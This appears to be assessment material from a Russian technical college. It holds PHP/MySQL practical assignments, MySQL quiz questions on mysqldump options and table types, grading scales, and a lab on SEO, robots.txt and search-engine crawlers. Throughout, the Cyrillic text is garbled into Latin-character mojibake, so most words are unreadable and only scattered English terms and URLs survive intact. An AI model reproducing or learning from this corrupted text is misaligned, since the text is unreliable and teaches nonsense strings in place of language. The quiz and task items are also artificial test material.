2. BeiBemute criucok TeM (opyma cyberforum.ru 3a mocienuuit Mecsil, KOTOpbIe B
HA3BaHUU COJIEPKAT CIOBO 'aJITOPUTM'.

3. Ilonw3oBarens 3arpyaeT KapTUHKY Ha cepep. O0paboTaTh KapTUHKY CIEAYIOIIUM

oOpazom: obpe3atsh 10 pazmepoB 100px x 100pX, mpu 3TOM TycThie 00J1aCTH

JIOJKHBI OBITH 00pe3aHbl MAaKCUMAJIbHO, YTOOBI COXPAaHUTh 001aCTh COOCTBEHHO

pucyHka. Jlanee 106aBUTH 3epKaIbHOE OTOOPAKEHHUE IO TOPU30HTAIN HUXKHEH

nosiockl KapTuak 100pX X 25 pX. Jlo6aBUTH MPOBEPKY, SABISIETCS U 3arpy>KEHHBIH

(baiin n3o0paxeHueM.

Y nanuTh B 3aJaHHON TUPEKTOPUH BCE MYCTHIC MAMKH (B TOM YHCIIE U BIOKCHHBIE).

Hanucath ckpunt 3arpy3ku n300pa>keHus TIOJIb30BaTENS C 3aJaHHBIM UMEHEM

n3zo0paxenus. U300pakeHue COXpaHsIeTcsl B KaTalor, CTPYKTypa KOTOPOTO

JTUHAMUYECKH (POpMUpPYETCS CIAEAYIOMMM 00pa3oM: U300paKeHUS PaCpeIeIIIIOTCs

IO MankaM 1o ai(aBuTy, IpUIEM B OJTHOM Marnke He MOXeT ObITh Oosiee 20

n3o0pakeHuid. Eciy mmamnka 3amoJiHeHa ¥ TOSIBIISICTCSI HOBOE M300payKeHUE TS ATOM

MaIKY, TO TAKX MePeco3AatoTcs ¢ OoJiee y3KUM JThara3oH Ha3BaHuii. Hampumep,

ecth aBe nanku A-M u M-Z. Ecnu B nepBoii nanike yxe 20 u300pakeHuid, TO mpu

MOSIBJICHUHU N300payKEeHUs ¢ UMEHEM aaa.pNng, TO JOJDKHBI MOSBUTCS Tpu nanku A-H,

I-P, Q-Z, B xoTOpbIE NOHKHBI IEpepacpeAeIUTCA Bce N300paxeHus (€CIM B Marnke

NOJIyYUTCs Tipu 3TOM MeHbIIe 20 n300pakeHni, HaYe TUana3oH CIeayeT

yMeHbINTH). [Ipu 3arpy3ke 0/MHAKOBBIX U300paKEHUI KOTIMHA HE COXPAHSATh.

6. OmpenenuTh, CONEPIKUT JIM 3arpykaeMoe MoJib30BaTeaeM n3oopaxenue nuio. Ecim
COJIEPKHUT, TO BBIIEIUTD €ro MPSIMOYTOJIBHON paMKOW 3aMETHOTO IIBETA.

7. Jlana 6a3a mokyrok moJib3oBarenei (id mosip3oBatens, id MOKyNKy, 1aTa MOKYIKH,
cTouMocThb). HeoOxonumo chopmMupoBaTh OTUET MO ITUM JAHHBIM. A UMEHHO: a)
BBIICTIUTH TPYIIIBI MTOJIb30BATENEH, KOTOPbIE MOKYMAOT MOCTOSIHHO, CE30HHO,
penKo; 0) rpyIIIbI MOJE30BATEIICH IT0 CTOUMOCTH MOKYIIOK (3 TPYIIIIBI); B) TPYIIIIHI

ok


https://www.intuit.ru/studies/courses/42/42/lecture/27195
https://www.intuit.ru/studies/courses/42/42/lecture/27201

TOBapOB MO MEPHOY MOKYTOK (CE30HHBIE, TOCTOsIHHBIE, peAKkue). B oTBeTe nomken
OBITh pa3zien ¢ PeKOMEHIAIUSAMU KaK YIy4IIUTh MPOAaKU U MPOTHO3 Ha
ONv KAl MecsI/ToA Mo 00beMaM Mpoax U NPUObUTU. MOXKHO JOTIOMHUTD
U3BECTHBIC JaHHBIE JJIs 00Jiee TOYHOTO IPOTHO3A.

8. Ilowuck B xaTanore 3ByKOBBIX (MP3 ¥ HE TOJIBKO) (ailJIoB 110 METaJaHHBIM (Teram):
HA3BaHUIO, UCMIOJIHUTEIIO, aTb00MY, TOy, KOMMEHTApHIO, KAHPy U TaK Jajee.

9. Pazpaborka SAX-napcepa XML-daiinos

10.Pa3pabotka reneparopa XML-daitnoB Banuaatopa XML-daiinos.

11.Pa3pabotka APIl-kiauenta Twitter. [Tonydyenne nudpopManuu o mojib3oBarere,
MOJIyYeHHUE CIHUCKA TBUTOB, MOJIYYEHHE CIIHCKA MOAMUCYMUKOB, IOMCK 110 TBUTAM,
n00aBJIeHHE HOBOTO TBUTA.

12.Pazpabotka APIl-knmuenta VK. Tlonydyenue nadopmaluu o mojib3oBaresie, rpyImax,
JpY3bsiX, CTaTyce, U3MEHEHUE CTaTyca, OTIpaBKa COOOIIEHUS Ha CTEHY.

13.Pa3pabotka APIl-kimenrta Facebook. ITonyuenue nadpopmanmm o moap3oBaTele,
cTaryce, 3arpy3Ka JIMYHBIX COOOIIEHH, COOOIIEHN CO CTEHBI, U3MEHEHHUE CTaTyca,
n00aBiIeHHE COOOIIEHUS Ha CTEHY.

14.YxaxuTe BapuaHThl, B pe3yIbTaTe BBITIOTHEHUS KOTOPHIX OYIyT MeperpyKeHbI
TaOIMILIBI pa3peIeHH?

15.Kakoit u3 nepedncieHHbIX TUIIOB CTOJIOOB 3aHUMAET MEHbIIIEE KOJTUYECTBO
aMsATH

16.Kakyto pazmepuocTs umeet tTun Y EAR

17.Kaxas oniusi o3BOJISIET MEPEONPENETUTH TUIT TAOJIUIL IO YMOITYAHUIO

18.Kakoii u3 nepeynciIeHHbIX TUIIOB CTOJOIOB 3aHUMAET OOJIbIlIEe KOJIMYECTBO MaMITH

19.Vkaxxute BepHOE YTBEPKICHUE

20.Kax MySql xpanut Tabnuiel Tuma Heap

21.Kaxkyto pazmepnocts umeet taun TIME

22.Kakyro uH(pOpMaIuio XpaHuT ¢aiit, uMeronuii pacumpenue .frm

23.Kakas ommust ykaxxeT cepBepy Mysql HCIOIHUTE 3apoCkl TOJIBKO K OMPEIeIEHHON
0a3e JaHHBIX

24.Kaxkas orust 3acTaBiisieT koManay mysqldump 3amuceiBath B (haiin apxuBa
onepatopsl INSERT DELAYED Bmecto oniepatopoB INSERT

25.Kakoii MeTo1 ObICTpee TT03BOJIIET PE3ePBUPOBATH JAHHBIC

26.0mnpenenuTe Ha3HaYeHUE oy Opt yrumurer Mysgldump

27.Kaxkas omust yTuiinThl Mysqldump onpezaenseT mocTpoYHOE CYUTHIBAHUE U 3aITUCh
uHbopMaIuu

28.YkaxxuTe BEpHOE YTBEPKICHHE

29.Kaxkast yTunuTa mo3BoJisieT U3BJICKaTh MHOTOCTPOUYHBIC 3aIIPOCHI U3 KypHaja
OOHOBIICHU I

30.Kaxkast omust mo3BoJIsieT KOMUPOBaTh 0a3bl JAHHBIX C yIAIEHHOTO KOMITBIOTEpPa

31.Kakast ”HCTpYKIIMs MTO3BOJISIET Y3HATh, CKOJIBKO 3aMucel Oy1eT MPOYUTaHO MpU
BBITIOJTHEHUH 3a1aHHON uHCTpyKiuu SELECT

32.Kakoii crieHapuii TO3BOJISCT YIOPSIOYUATH 3aMKUCH )KypHalla MEIJICHHBIX 3aIPOCOB

33.Kakas ormiust mo3BOJISIET XpaHUTh U3MEHEHUS TaOJIMYHBIX MHIEKCOB B TIAMSTH, MTOKa
Tabauia He OyAeT 3aKphiTa

34.0Onpenenute HazHaueHue ¢ara DELAYED unctpykiun INSERT

35.Kakas nadopmariust XpaHUuTCs B CTaHAApTHOU 0a3e JaHHBIX test

36. 1y yero npeaHa3HAYCH CIieHapuii compare results

37.Kakast HHCTpYKIIHs MpeAHa3HauYeHa JJIsl OLIEHKH MPOU3BOIUTEIHHOCTH 3aIIPOCOB



38.Kakoii xypHaJ 1o3BoJIeT BbISIBUTH HaMeHee 3 (EKTUBHBIE 3aIIPOCHI

39.Kakas nporienypa nOMOXET ONPEASIUTh ONTUMAIbHBIA THUI TAHHBIX AJIS1 KaXI0T0
cTOJI0Ia

40.Kaxk Ha3pIBaeTCs JEMOHCTpAIIMOHHAs 0a3a JTaHHBIX, KOTOPas HHCTAILTUPYETCS
Bmecte ¢ MySQL

41.1Tpu vanuuuu kaxoro mara unctpykuus INSERT nomemiaetcs B ouepens 0e3
OJIOKUPOBAHUS KIIMEHTCKOTO MPHUIIOKEHHSI, YTO TOBBIIIAET €r0 OTEPaTUBHOCTD

42 .Onpenenute Ha3HaueHue omniuu add-drop-table yrumuter mysqldump

43. ]l yero mpeaHa3HAvCH clieHapuii run-all-tests

44 Kaxkas uHpopMmalys XxpaHutcs B Taduuue tables priv

45.Kakoif Makpoc 3a/1aeT HOBBIE TTapaMEeTPhI IJIsl TEKYIIEro ceaHca OTJIAIKH, U
MIOMEIIAET UX B CTEK

46.0Onpenenute HazHaueHue ¢ara N

47.Kaxkast ”HCTpYKIUS TIO3BOJISICT 3arPy3UTh KOMITMIMPOBAHHBIN OMOINOTEUHBIH
MOJYJIb C MOJB30BATEIbCKON (PYHKIIMEN

48.Kaxoif prar mo3BossieT BEACPKUBATH MMay3y MPHU BBIBOJIE KaXKI0H CTPOKHU

Tabnuua 1- TunoBble NpakKTUYECKUE 3aJaHUs Uil POBEAEHUS TPOMEKYTOUHOMN

aTTecTaluu
Koab! nposepsieMmbIx
TunoBoe 3a1anue pe3yabTaToB
Yy 3H
[TpakTueckoe 3aganue Ne 1 — Pemienue 3anauu ¢ Vi 31
ucnosib3oBanneM PHP u MySql

1. Kpurepuu oueHKn
KonmuecTBeHHas onieHKa
Tabmuma 2- Kpurepun KOJTUIECTBEHHOMN OIICHKU

Brimonam (MakcuMabHO
JlenicTBus

50 6amoB)
OTBET Ha TEOPETUUECKUI BOIIPOC 0-25 6annos
B 3aBucumMocTu OT BIageHusi TEMOU, TEPMUHOJIOTUEN
BhIIONHEHUE IPaKTHIECKOro 3ananus Ne 1 25 bannos
HTorosoe KoamM4ecTBO OaIoB: 50
O «OTIUYHOY 41-50 G6amioB
4 «xXOpouIo» 31-40 6anna

3 «yZOBIIETBOPUTEIHHOY 21-30 GamioB




2 «HEYAOBIETBOPUTEILHO 0-20 6annos

KauecTBeHnHas OLICHKa

Omnenka «5» BBICTaBISETCS B TOM CiIydae, €CIM CTYICHT MPOJAEMOHCTPUPOBAI
BBHICOKMW YPOBEHb 3HAHMM W YMEHUW M0 3aJaHusIiM Owmiera, OO0OCHOBAJI BBIOOD
MCITOJIb3yeMOTO TMPOTPAMMHOIO O00€CTICUeHUs JUIsl pEIIeHUs MPAKTUYCCKUX 3ajad.
CtyaeHTOM MOTYT OBITH JOMYIIEHBI HEAOYETHI TPHU BBIMOTHECHUU MPAKTHUYECKUX
3aJlaHu}, UCTIPABJIICHHBIE CTYICHTOM CAMOCTOSITENIFHO B Ipoliecce 000CHOBaHUSI.

Onenka «4» BBICTaBJISETCS B TOM CiIy4ae, €CIM CTYJIEHT MPOJAEMOHCTPUPOBAI
NOHMMaHUE OCHOBHOIO COJEp)KaHusl 3afaHuil Owiera. CTyIeHTOM MOTYT OBbITh
fomymeHbl 1 ommOka W HEJOYeThl TNPH BBIMOJHECHWW 3aJaHHUN, WCIPABICHHBIC
CTYJCHTOM C TIOMOIIIBIO MPEIo/1aBaTesl.

Onenka «3» BBICTaBJISETCS B TOM CiIy4ae, €CIM CTYJIEHT MPOJAEMOHCTPUPOBAI
MOHUMAHUE OCHOBHOIO COJEp)KaHud OuieTa, HO JAONyCTWiI 2-3 OMMOKK Mpu
BBITIOJIHEHUH TPAKTUYECKUX 3aJlaHuid. MOryT OBITh JOMYIICHBI 2-3 HETOYHOCTH WIIU
HE3HAYUTETbHBIC ONTUOKHU, UCTIPABICHHBIC CTYICHTOM C TTIOMOIILIO PO IaBaTEIs.

Orenka «2» BBICTABIIICTCS B TOM CIIy4ae, €CIU CTYACHT HE TMPOASMOHCTPHUPOBAIT
MMOHUMaHWE OCHOBHOTO cojiepkanus OuseTa. [IpakTudeckoe 3aaHue HE BHIMOTHEHBI.



//“_ i AW, T'ocynapcrBenHoe npogeccnonaibHOe 00pa30BaTeIbHOE yUpeKACHHE
AN «CBIKTBIBKAPCKHIi J1€CONPOMBIIIICHHBIH TEXHHKYM)
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KoHTpPOJIbHO-0LIEHOYHOE CPeICTBO

THun KOHTPOJILHOTO 3aJaHUS: JlaGopatopHblie pabOTHI
Pa3nen 2. OnrumMu3anus BeO-NPUIIOKEHUH
IIpoBepsiemble pe3yabTaThl o 3-4 v 1-3,31-3

00y4eHuUs:
Kpurepuu oueHku

Ouenka Kpurepun

2 (He 3aYTeHO): CTYIEHT HE BHITIOJIHIII MJIM BBIIOJIHWII HEMIPABUIBHO 3aJaHUsI TPAKTHUECKOM
(;mabopaTopHOif) paboThI; CTYZACHT OTBETHII HAa KOHTPOJIbHBIE BOIPOCH! C OIIMOKaMU WU HE
OTBETIJ Ha KOHTPOJIbHBIE BOMPOCHI.

3 (YIOBIETBOPUTEIHHO): BHITOJHEHBI BCE 3a/IaHKS TPAKTHUECKON (J1abopaTopHOii) paboThl ¢
3aMEYaHUsIMHU; CTYJICHT OTBETHJI Ha BCE KOHTPOJIbHBIE BOIPOCHI C 3aMEYaHUSIMU.

4 (Xopo1110): BEITIOTHEHEI BCE 33/IJaHUS MPAKTUIECKOH (J1a00paTopHOIf) padOThI; CTYIEHT OTBETHI Ha
BCE KOHTPOJIFHBIE BOMPOCHI C 3aMEYAHHSMHU.

5 (OTHMYHO): BBHITIOJIHEHBI BCE 3a[aHHS MTPAKTHUYECKON (J1TabopaTOpHOM) pabOTHI, CTYICHT YETKO 1 0e3
OIIMOOK OTBETUJI Ha BCE KOHTPOJIbHBIE BOIIPOCHI.

CocraBurelib:
Kinouesa E.A. MPENOIaBaTENb JUCIUILUINH
obmenpodeccCHoHaNBHOTO U
po(ecCHOHAIBHOTO IIUKJIIA
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1. JlabopaTopHas padora «IIpoBenenue o6uero ayaura caiira: SEO, r03adouanru,
TEKCThI»

[lens paboter: IlpnoOpectn HaBBIKA MOMCKOBOM onTumm3anun Web-pecypcos,
npoBecTH BHYTpeHHIO SEO-ontumusanuio crpanuib Web-pecypca.

Teopernyeckue cBeIeHU.

Pa3paboTka kpacuBOro M PyHKIIMOHAIBHOTO CaiiTa 3a4acTyl0 HE TapaHTUPYET €To
ycnex y NOTEHIMANIbHBIX noceTuTenel. Uil ux npuBiiedeHUs HEOOXOOUMO MpPOAEIaTh
o0bemMHyI0 paboty mo mupoxasmwkeHuo Web-pecypca. Ha ceromgns cymiectByeT
HECKOJIbKO METOJIMK IPOJBUKEHUS CalTa:

1) KonTekcTHass pexiamMa - pasMmelieHue uHGOpMaluu O pecypce Ha
CIEUHAIM3UPOBAHHBIX PEKJIAMHBIX IUIONIAJKAX WM B CEPBHUCAX, IEMOHCTPHUPYIOIIHNX €€
ueneBor ayauropud. llomynspHbIMU TIIOIIAAKaMH 31E€Ch ABISIIOTCS SHIEKC. J(MpekT,
Google Adwords, beryH.

2) bannepHas pexiama - pazMenieHue MyJIbTUMEIUIMHOTO PEKIaMHOTO OJI0Ka
(OanHepa), coaeprKallero TUIEpCChUIKY Ha MPOABUIAaeéMBbI pecypc, Ha CTOPOHHUX
TEMaTUYECKH OJIM3KUX LIEJIEBOM ayAUTOPUH MIPOJBUTAEMOI0 pecypca cailTax.

3) BupycHbIil MapkeTHHI - pacnpocTpaHeHue HH(poOpMaluu O pecypce ca-
MHUMU TOJb30BaTENsIMU (MOCETUTENSIMU) caiiTa. OCHOBOW NPOJIBMKEHUS 371€Ch CTa-
HOBUTCS MH(GOPMALIMOHHBIA «BHPYC» - sipKasg, Opockas, HEoOblYHasl mojaada HMHQOp-
Malli{ O MPOJIBUTAaEMOM PECYpCe B BHJIE HEOOBIYHOTO BUAECOPOJIMKA WM OPUTHHAIBHO
MOJIAHHOW HOBOCTHU, KOTOPBIMU MOJIb30BATEIN HAYMHAIOT IEIUTHCS IPYT C IPYyroM, TeM
caMbIM OBICTPO W OECIUIATHO pPACHpPOCTPAHSISl CCBUIKM Ha pEecypc B peXUME
«capadaHHOTO PaIUO»

4) Hcrnonb3oBanne CONMAIBHBIX CETEeH TO3BOJISIET OBICTPO M OECIUIATHO
3aBUTh O pecypce Ha OOJbIIYI0 ayJUTOPHIO, OOBEAMHEHHYIO APY>KECTBEHHBIMH OT-
HOILIEHUSIMU B MOMYJISIPHBIX COLUANBHBIX ceTsAX. [loMnMo HemocpeacTBeHHOro 3pdexra
BOJIHOBOTO paclpoCTpaHEHUs HH(OpMaluu O pecypce B BHIE BCEBO3MOXHBIX
«JIAMKOBY», JTAHHBIK METOJ IPOJBHKEHHUS 00JIalacT MOTCHIIMAIOM OOpaTHOM CBS3H,
MO3BOJISIIOIIMM  Y3HaTh MHEHHE T[0Jb30BATENIE OTHOCUTEJIBHO KadecTBa IIPO-
JIBUTAEMOr0 pecypca.

5) [lyOnukamuss B MOMYyJSpHBIX Ojorax M Ha (opymax Takxke IMO3BOJISICT
OBICTPO 3asiBUTh O MPOAYKTE MAKCUMAJIBHO IIMPOKON ayJUTOPUU C YYETOM €€ TeMa-
TUYECKUX MpeAnouTeHui. biorrep MoXeT MOCBATUTH PECYpPCY OTIEIbHYIO CTaThlO,
OCTaBUTh CCBUIKY Ha pecypc B mocrte. O0cyxaeHus B popyme MO3BOJSIOT OCTaBISATh
CKPBITYIO peKkjiaMy B oOcyxnaeHusix. Hanuuue coOcTBeHHOTO 0Jiora Mo3BOJIsieT Oojiee
LIEJICHAMPABJICHHO BECTH PEKJIAMHYI0O KaMIIaHHIO pecypca, a TakKe MOoJIy4daTb OT
quTaTeNnen (moceTuteneli) o0paTHYIO CBA3b.

6) [TyOnukarss HOBOCTEW WJIM MPECC-PENIM30B O MPOJIBUTAEMOM pecypce B
ANIEKTPOHHBIX CPEACTBAX MAacCOBOM HHGPOpMAIMM WM HA TEMaTUYECKHX TMOpTaiax
MO3BOJIAIOT CO3/aTh JOMOJIHUTENbHBIA WH(GOPMALMOHHBIA TMOBOJ, aJApPECOBAaHHBIN
3aWHTEPECOBAHHOM (FJTM HHTEPECYIOIIEH BIIAJICIBIEB peCypca) ayAUTOPUH.

7) Peructpanus pecypca B 3JIEKTPOHHBIX KaTajaorax MO3BOJISIET YBEJIMYUTH



KOJIMYECTBO TOYEK MOTEHIMAJIBHOTO COMPUKOCHOBEHMS 3aMHTEPECOBAHHBIX B
KOHKPETHOM THUIIE€ YCIIYT UM TOBAPOB MOJIb30BATENEH U MPOJIBUTAEMOT0 peCcypca.

8) SEO-nmponBukeHue pecypca MO3BOJISET 3asBUTh O pecypce depe3 Me-
XaHU3M TIOMCKa TIOMYJIAPHBIX MOMCKOBBIX cepBHCOB. [lomyuenue mHpopmanuu ¢ wuc-
MOJIP30BAHUEM TTOMCKOBBIX JIBIJKKOB CTaJI MPUBBHIYHBIM M PYTHHHBIM JIEHCTBHEM ISt
MOJIaBIISIONIEro OOJIBIIMHCTBA TMOJIb30BaTeneil cetu IHTepHET, B CBSA3M C 4e€M BBICOKHE
MO3HIIMY B BbIJIa4€ 10 KJIFOUEBBIM TeMaTHUECKUM 3ampocaM B Google wim f7eX crano
nproputeToM s BiaaenbieB Web-pecypcos. IIpaBuinbro BeiOpanHas crparerus SEO-
NPOJBIKEHUS W YMEJO€ HCIOJIb30BAHUE €ro MHCTPYMEHTapHeM W METOJIUKaMu
MO3BOJISIET OBICTPO, AemieBO U 3(P(PEKTUBHO AOHECTU UH(POPMAIMIO O MPOJBUTAEMOM
pecypce KellaeMOoW ayJuTOpUU, TIPU 3TOM 3Ta MHGOPMAIMS 3a4acTyIO0 BBITJISAIUAT AJIs
Hee Kak HauOoJiee aBTOPUTETHAs U HempenB3sTas. J1o nenaer SEO ogHMM U3 cambIx
JacTO HCIIOJIb3YeMbIX HWHCTPYMEHTOB packpytku Web-pecypca, a ycimyrm SEO-
ONTHMH3AaTOPOB BEChbMa BOCTPEOOBAHHBIMA HAa PHIHKE, B CBS3M C YeM B JIaHHOMN
1abopaTOpHON pabOTe OCHOBHOE BHUMaHHE OYyNET yIEJIE€HO MMEHHO 3TOMY CPEACTBY
IIPOJIBMKEHNUS CAaUTOB B ceT MHTEPHET.

SEO (Search Engine Optimization) - npouecc ontumm3armu Web- pecypca mon
MIOWCKOBBIC CHUCTEMBI IS YBEIMYCHUS KOJUYECTBA TpaduKa IOJIb30BaTelieli Ha Web-
pecypc ImyTeM YBEIWYEHHUS! €ro paHra B pe3yJibTaTax MOUCKA B MOUCKOBBIX CHUCTEMaX.
OMIUPUYECKH TIOHATHO U CTAaTUCTUYECKH JIOKA3aHO, YTO BBICOKHE TMO3UIIUU cailTa B
pe3yibTaTax BbIJIAYM TOUCKOBOW CHUCTEMBI TMOBBIMIAIOT BEPOSITHOCTH TOTO, YTO
MOJIb30BaTEIb TMOCETUT JaHHbIM caiiT. [louckoBass onTUMHU3alMs MPEIIOIaraeT
M3MEHEHHUE €ro BHYTPEHHUX (HhaKTOPOB, BIUSIOMIUMUA Ha PAHKUPOBAHUE B TTOMCKOBBIX
cucteMax (CTPYKTyphl pecypca, KadecTBO KoHTeHTa, kon HTML), a Tarke ero
BHEIIHUX (PAKTOPOB PaHKUPOBAaHMS (HATWYME BHEIIHWX CCHUIOK HAa CaMT, Ka4eCTBO
ATHX CCBHUIOK, HAJIWYME calTa B TEMaTHYECKHX KaTtanorax). Llemp omtummsarnmm -
YBEJIMYEHUE PENIEBAHTHOCTH pecypca LEJeBbIM KIIOYEBBIM CJIOBAM, OTPaKaIOIIUM
COJIEP’)KUMOE pecypca, TOBBHIIICHWE paHra caiTa M0 alTOpUTMaM PaHXUPOBAHHUS
MMOMCKOBBIX MAIllMH, YBEJIWYCHUE TIO3UIMH B pe3yjabTaTaX IIOMCKOBOW BBIIAYA
MOMCKOBBIX MAIIIMH JJIs PUBJICUCHUS OOJIBIIIETO KOJIMYECTBA MOCETUTEIICH Ha CallT.

SEO-ontumu3anus nomyinspHa u 3¢ dexTuBHa Onarogaps:

- BBICOKOMY JIOBEPUIO K BbIjJau€ MOMYJAPHBIX TMOUCKOBBIX MAIIUH CO
CTOPOHBI TOCETUTEIIEH;

- ONTUMAJILBHOMY OTHOIIICHUIO «II€HA/KauyeCcTBO» IJIsi Tpollecca MPOJIBUKE-
HUS;

- noJroBpeMeHHOMY 3G (}EKTy OT mpoliecca MpoIBIKECHHUS,

- YHUBEPCATBHOCTH TPOIEcca MPOIABMIKCHUS ISl Pa3IMYHBIX MOMCKOBBIX
JIBIKKOB - HECMOTPS Ha YHUKAJBHBIC aJTOPUTMBI HHACKCUPOBAHUS U PAHKUPOBAHUS Y
Pa3HBIX MMOMCKOBBIX MAIIMH, MEPOIIPHUATHS TIO TTOBHIIICHHS TMO3HWIIMN CaiiTa B OJTHOW U3
HUX TPUBOJIAT K POCTY PEHUTHHTA U B IPYTHUX.

Ects y SEO-npoaBmxenus u npobiieMHbIE MeCTa:

- [Iporiecc MpOABMKEHHSI HOCUT BEPOSITHOCTHBIA XapakTep, HENb3s Ta-
pautupoBath 100%-ii pesynbTar, HanpuMep, MOMagaHus Ha TIEPBOE MECTO B BBIJAYE TIO
OTIpEeICTICHHBIM 3aMPOCaM;

- Bricokass HWHEPIHUOHHOCTH PAOOTHI TMOWCKOBBIX CHCTEM MPUBOAHUT K
BPEMEHHBIM 33JIep>KKaM MPHU OKUJAHUU UTOTOB PaOOTHI.



[Ipexxne ywem mpoBoauTh HemocpencTBeHHO SEO-onmtumuzamnuio HeEoOXoAuMMO
MOHATh TMPHUHIUI Pa0OTHl TMOWUCKOBBIX MAIIUH. OJTO TMO3BOJUT MPOBOJUTH PaOOTY
OCMBICTIEHHO W HAMPABJIEHHO Ha MOJOXKUTEIbHBIN pe3yabTarT.

Jlyist mpoBeieHrst cocTaBa padoT MO MOMCKOBOM ONTHMH3AIIUN CaliTa HEOOXO0UMO
UMETh TMPEJCTaBICHUE O NPHHIMIAX padOThl MOUCKOBBIX cucTeM. CoBpeMeHHas
MMOMCKOBAasi CHUCTEMa SIBIIICTCS CJIIOXHBIM IPOTPAMMHBIM KOMITJIEKCOM, BKJIIOYAIOITAM
Cpelu MpOoUuX:

- Spider (mayk) - KOMIIOHEHT, CKA4MBAIOIIMA CTpPaHHIBI Opay3epa cC
ucnosibzoBanueM HTTP-3ampocoB, kak 3To nenaer Opay3ep KOSYHOrO IMOJIb30BATEIIS.
Opnako, ecnu 11e5blo Opay3epa SBISIETCS BU3yaIbHOE MPEICTABICHUE CTPAHUIIBI MOJIb-
30BaTeNi0, TO MAayK IMEpefacT CKayaHHYI0 CTpaHUIly Ha oOpabOTKy APYTHMM KOMIIO-
HeHTaM cuctembl (Crawler-maykam uiam uHACKCaTOpam);

- Crawler (ImyTemecTBYOIINI MMayK) - KOMIIOHEHT, 00CCIICYNBAIONIUI TIOUCK
HOBBIX CTpaHUIl I CKauWBaHWSA W wuHAekcanmuu. OH BBIACISAET BCE CCHUIKH, TPH-
CYTCTBYIOIIIME Ha CKa4aHHOM maykoM-spider-om crpanwie. [Tocite sToro crpoutes miaH
JTadbHEUINer0 CKAaHUPOBAHUS MO HAWJACHHBIM ccbUIKaM. TakuMm oOpa3oM MOMCKOBast
CHUCTEMA TTOCTOSTHHO OOHOBJISICT 1 TIOTIONHSAET CITUCOK M3BECTHBIX €H CTPAHMII.

- Indexer (wHIEKCAaTOp) MOMyYaeT CTPAHMILY OT Iayka, MapcuT (pa3oupaer)
€€ Ha COCTaBHBIC YACTU: TEKCT, U300paKEHUs, BUJIECO, CCHUIKHU, 3ar0JOBKH, CIIEIHAIIb-
Hble Teru u ap. Jis aHanuza MHIEKCATOP UCIOJIb3YEeT OPUTHHAIBHBIC JIGKCUYECKUE U
MOP(OJIOTUUECKHUE AITOPUTMBI.

- Database (6a3a naHHBIX) WM UHAEKC CUCTEMBI BBICTYIIACT KaK XPaHHJIHILEC
MIPOUHJICKCUPOBAHHBIX JAaHHBIX. B HeW CcTaBUTCA COOTBETCTBHE OHJIEMEHTa (CJOBa,
nu3o0paxkenusi, Buacopparmenta) u Web-pecypcoB, Ha KOTOpPBIX OH ObLT HaiiJieH Ma-
yKoM. J[aHHBIC B XPAHIIIHIIE 3aHOCATCS UHIEKCATOPOM.

- Search Engine Results Engine (cuctema Bblgauu pe3ysIbTaToOB) paboTacT
Ha KOHEYHOM 3Tare MOMCKOBOTO MHKjIa. Ero HazHaueHWe - paH)KUPOBAHUEM CTPAHUI
IO 3armpocCy Mojik3oBarels. IMEHHO 3TOT KOMIIOHEHT (JOPMUPYET TOUCKOBYIO BBIATY -
TOT Habop ccrutok Ha Web-pecypchl, KoTopbie corjacHO alropuTMam 3TOH KOHKPETHOM
MMOMCKOBOM  CHUCTEMbl B  HAWOOJIBIIEH CTEMEHH COOTBETCTBYIOT OOpaIleHUIO
nosib3oBatests. st oTbopa CChUIOK UM UX COPTHUPOBKH TMEpes] OTIPABKOM MOIH30BATEIIO
UCTIOJIB3YIOTCS alTOPUTMBI parmkupoBanus (Hanpumep, Google Pag- eRank mmu SIHaekc
THUILL). O600611eHHas cxemMa pabOThI MOMCKOBOM MAaIIMHBI PEICTaBIeHa Ha puc. 1.

[Mayku-Crawler’ b1 o ykazanuto naykoB-Spider’oB CKauMBalOT HOBbIC HEU3BECT-
HBbIC CTPAHUIIBI C CaiiTa, OHU AHAIU3UPYIOTCS U WHIACKCUPYIOTCS, HAlJICHHBIC HA HHUX
CCBUIKHM CJIy)KaT MyTSAMH JUIS HOBOTO IIMKJa MOMCKa: koManma Crawler™ uaunuupyer
MOMCK W CKauMBaHUE, MAPCHUHT BBIACISICT COACPKUMOE CTPAHUI] M TIOPOKIIIACT HOBBIC
MyTH TIOMCKA KOHTEHTa W T.J. B HalICHHBIX TayKaMW CTpPaHHIAX aHAIU3UPYETCS
collepkaHUE W OHU BCTPAMBAIOTCS B WHJICKC IOMCKOBOW CHCTEMBI, XpaHSIIANCS B
oOrreii Oase.

Heo0xoauMo OTMETUTB, YTO MOMCKOBBIE OOTHI HE TOJBKO HITYT HOBBIC, pPaHEE
HEW3BECTHBIC PECYpPChl, HO M TEPUOJAMYCCKH IEPEHHICKCHPYIOT paHee ITOCEIICHHBIC
CTpaHHIlbl. TakuM 00pa3oM JOCTUTACTCS aKTyaJIbHOE COCTOSTHHME Oa3bl JaHHBIX TO-
HMCKOBOW CUCTEMBI.
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Pucynok 1 — O6001ieHHbIi anroputM padboTel MOMCKOBON CHCTEMBbI

C y4eToM TOro, 4TO ONTHUMH3aIMs MOMCcKoBOH Bblmaun (SEQ) opueHTHpyeTCS
MMEHHO Ha pe3yJbTaThl PabOThl CHUCTEMBI BBIAAYM TIOMCKOBOW MAIMHBI, WMEHHO
(haKTOpBI paHKUPOBAHUS B MEPBYIO Oouepeab yuuThiBatoTcs SEO-cnenuanucToM B €ro
pabore. OnHAKO, HENb3s HE YUYUTHIBATH OCOOEHHOCTH PabOThl MOMCKOBBIX pO- OOTOB-
naykoB npu ontumusanuu Web-pecypca. DTo MO3BOIMT Kak CHH3UTh HArpy3Ky Ha
Web-cepBep npu 00paboTKe 3aIpocoB OT MAayKOB, TaK M aKTyaJIbHO OOHOBJISITH MHICKC
MMOMCKOBOM MaIlIMHBI TTPY OOHOBJICHWM JAHHBIX HA CTPAHMIAX CalTa WM TOSBICHUN
HOBBIX CTpaHUI] Ha pecypce.

Paszpabotunk  (Biamenernr) Web-pecypca MokeT ympaBiATh  IPOIECCOM
WHJEKCUPOBAHUS CBOETO cailiTa CO CTOPOHBI TOHMCKOBBIX poOoToB. [l a3TOTO
HCIOJIb3YIOTCS:

- Metareru 3arojjoBka HTML-nokymeHTra;

- daitn robots.txt.

daiin robots.txt npeacraBasier coboit TekcTOBBINA Gaitn B komupoBke UTF-8,
KOTOPBIA PAa3MENIACTCs] B KOPHEBOM IUPEKTOPUU CaWTa U MOXET COAEpPKaTb psil
WHCTPYKITUH IS CTIAiIEPOB TOMCKOBBIX CUCTEM I10 TIOPSJIKY WHIEKCHUPOBAHUS TAHHOTO
